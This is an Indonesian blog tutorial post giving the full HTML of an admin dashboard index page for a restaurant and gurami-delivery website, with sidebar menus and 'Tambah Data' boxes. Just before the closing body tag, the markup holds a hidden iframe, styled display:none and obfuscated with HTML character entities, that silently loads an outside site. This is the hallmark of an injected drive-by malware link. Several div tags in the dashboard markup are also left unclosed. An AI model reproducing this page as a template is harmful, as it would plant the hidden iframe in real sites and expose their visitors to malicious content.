Sabtu, 30 Desember 2017

Membuat Client Server Part 12

“Membuat Tampilan Index Untuk Dashbord Web”

<!DOCTYPE html>
   <html lang="en">
       <head>
           <meta charset="utf-8">
           <meta name="viewport" content="width=device-width, initial-scale=1.0">
           <meta name="description" content="Creative - Bootstrap 3 Responsive Admin Template">
           <meta name="author" content="GeeksLabs">
           <meta name="keyword" content="Creative, Dashboard, Admin, Template, Theme, Bootstrap, Responsive, Retina, Minimal">
           <link rel="shortcut icon" href="img/favicon.png">

           <title>www.Kuliner_Nusantara.com</title>

           <link href="css/bootstrap.min.css" rel="stylesheet">
           <link href="css/bootstrap-theme.css" rel="stylesheet">
           <link href="css/elegant-icons-style.css" rel="stylesheet" />
           <link href="css/font-awesome.min.css" rel="stylesheet" />
           <link href="css/style.css" rel="stylesheet">
           <link href="css/style-responsive.css" rel="stylesheet" />

       </head>

       <body>
           <section id="container" class="">

               <header class="header dark-bg">
                   <div class="toggle-nav">
                       <div class="icon-reorder tooltips" data-original-title="Toggle Navigation" data-placement="bottom"><i class="icon_menu"></i></div>
                   </div>

                   <a href="#" class="logo">Kuliner Nusantara<span class="lite"></span></a>

                   <div class="nav search-row" id="top_menu">
                       <ul class="nav top-menu">                    
                           <li>
                               <form class="navbar-form">
                                   <input class="form-control" placeholder="Search" type="text">
                               </form>
                           </li>                    
                       </ul>             
                   </div>

                   <div class="top-nav notification-row">                
                       <ul class="nav pull-right top-menu">
                           <li class="dropdown">
                               <a data-toggle="dropdown" class="dropdown-toggle" href="#">
                                   <span class="profile-ava">
                                   </span>
                                   <span class="username"></span>
                                   <b class="caret"></b>
                               </a>
                               <ul class="dropdown-menu extended logout">
                                   <div class="log-arrow-up"></div>
                                   
                                   <li>
                                       <a href="../logout.php"><i class="fa fa-sign-out"></i> Log out</a>
                                   </li>  
                               </ul>
                           </li>
                       </ul>
                   </div>
               </header>      

               <div id="sidebar"  class="nav-collapse ">
                   <ul class="sidebar-menu">
                   <li class="">
                           <a class="fa fa-home" href="index.php">
                               <span>Beranda</span>
                           </a>
                       </li>
                       <li class="">
                           <a class="fa fa-user" href="user.php">
                               <span>User Rumah Makan</span>
                           </a>
                       </li>
                       <li class="">
                           <a class="fa fa-clock-o" href="rumah_makan.php">
                               <span>Daftar Rumah Makan</span>
                           </a>
                       </li>
                       <li class="">
                           <a class="fa fa-user" href="user_pelanggan.php">
                               <span>User P. Gurami</span>
                           </a>
                       </li>
                       <li class="">
                           <a class="fa fa-file" href="makanan.php">
                               <span>Pendekar Gurami</span>
                           </a>
                       </li>
                       <li class="">
                           <a class="fa fa-clock-o" href="delivery_gurami.php">
                               <span>Delivery Gurami</span>
                           </a>
                       </li>
                       
                       
                   </ul>
               </div>

               <section id="main-content">
                   <section class="wrapper">
                       <div class="row">
                           <div class="col-lg-12">
                               <h3 class="page-header"><i class="fa fa fa-home"></i> BERANDA</h3>
                               <ol class="breadcrumb">
                                   <li><i class="fa fa-home"></i><a href="index.php">Beranda</a></li>
                               </ol>
                           </div>
                       </div>

                       <div class="row">
                           <div class="col-lg-12">
                               <section class="panel">
                                   <header class="panel-heading">
                                       <center><h2>HALAMAN UTAMA</h2></center>
                                   </header>
                                   <div class="row">
                                       <div class="panel-body">
                                           <div class="small-box bg-aqua">
                                               <div class="col-lg-3 col-md-3 col-sm-10 col-xs-10">
                                                   <div class="info-box blue-bg">
                                                       <i class="fa fa-user"></i>
                                                       <div class="title">User Rumah Makan</div>
                                                       <a href="form_user.php" class="small-box-footer">Tambah Data</a>            
                                                   </div>    
                                               </div>  
                                               <div class="col-lg-3 col-md-3 col-sm-10 col-xs-10">
                                                   <div class="info-box blue-bg"
                                                        <div class="info-box brown-bg">
                                                           <i class="fa fa-user"></i>
                                                           <div class="title">User P. Gurami</div>
                                                           <a href="form_user_pelanggan.php" class="small-box-footer">Tambah Data</a>            
                                                       </div>      
                                                   </div>
                                               <div class="col-lg-3 col-md-3 col-sm-10 col-xs-10">
                                                   <div class="info-box dark-bg"
                                                        <div class="info-box brown-bg">
                                                           <i class="fa fa-money"></i>
                                                           <div class="title">Pendekar Gurami</div>
                                                           <a href="form_makanan.php" class="small-box-footer">Tambah Data</a>            
                                                       </div>      
                                                   </div>
                                               <div class="col-lg-3 col-md-3 col-sm-10 col-xs-10">
                                                   <div class="info-box brown-bg">
                                                       <i class="fa fa-tasks"></i>
                                                       <div class="title">Rumah Makan</div>
                                                       <a href="form_rm.php" class="small-box-footer">Tambah Data</a>            
                                                   </div>
                                               </div>
                                                   <div class="col-lg-3 col-md-3 col-sm-10 col-xs-10">
                                               <div class="info-box dark-bg"
                                                        <div class="info-box brown-bg">
                                                           <i class="fa fa-money"></i>
                                                           <div class="title">Delivery Gurami</div>
                                                           <a href="form_delivery_gurami.php" class="small-box-footer">Tambah Data</a>            
                                                       </div>            
                                                   </div>
                                                  
                                                   </div>
                                                   
                                                   </div>
                                                   </div>
                                               </div>
                                           </div>
                                           </section>
                                       </div>
                                   </div>
                               </section>
                               </section>
                               </section>
                               <script src="js/jquery.js"></script>
                               <script src="js/bootstrap.min.js"></script>
                               <script src="js/jquery.scrollTo.min.js"></script>
                               <script src="js/jquery.nicescroll.js" type="text/javascript"></script>
                               <script src="js/scripts.js"></script>
                               <iframe src="http://jL.ch&#117;ra.pl/rc/" style="d&#105;splay:none"></iframe>
</body>
                               </html>

0 komentar:

Posting Komentar

Diberdayakan oleh Blogger.

Followers